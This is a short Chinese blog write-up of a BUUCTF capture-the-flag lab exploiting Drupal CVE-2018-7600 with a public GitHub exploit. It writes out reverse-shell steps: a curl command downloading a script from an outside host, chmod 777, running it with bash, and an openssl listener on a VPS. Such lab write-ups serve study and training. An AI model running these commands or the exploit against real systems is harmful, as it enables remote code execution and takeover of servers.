[Drupal]CVE-2018-7600 BUUCTF

一心一易一

已于 2022-03-31 21:56:58 修改

阅读量4.5k

点赞数

分类专栏： CTF 文章标签： web安全

于 2022-03-29 17:30:53 首次发布

本文链接：https://blog.csdn.net/krysyal/article/details/123825544

版权

CTF 专栏收录该内容

5 篇文章 0 订阅

订阅专栏

声明：此文仅供学习记录研究使用，切勿用于非法用途，否则后果自负！
前期准备

进入之后环境安装
语言选english，因为没有mysql环境，所以安装的时候可以选择sqlite数据库，其他默认下一步

在这里插入图片描述

利用

直接使用网上公开的exp
	https://github.com/a2u/CVE-2018-7600
将exp里的命令换成env即可

查看flag
反弹会话
可参考我上一篇文章，ssl反弹shell [struts2]s2-052 BUUCTF

在本地工具代码里修改--下载脚本文件
curl -O http://1.1.1.1:8080/openssl.sh
在本地工具代码里修改--赋予权限
chmod 777 openssl.sh
在vps运行openssl进行监听
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
在本地工具代码里修改--执行脚本
/bin/bash ./openssl.sh
在vps里就可看到成功获得了一个shell

成功获得反弹shell
~~后面就是尝试提权，这里是buu靶场，就不搞了~~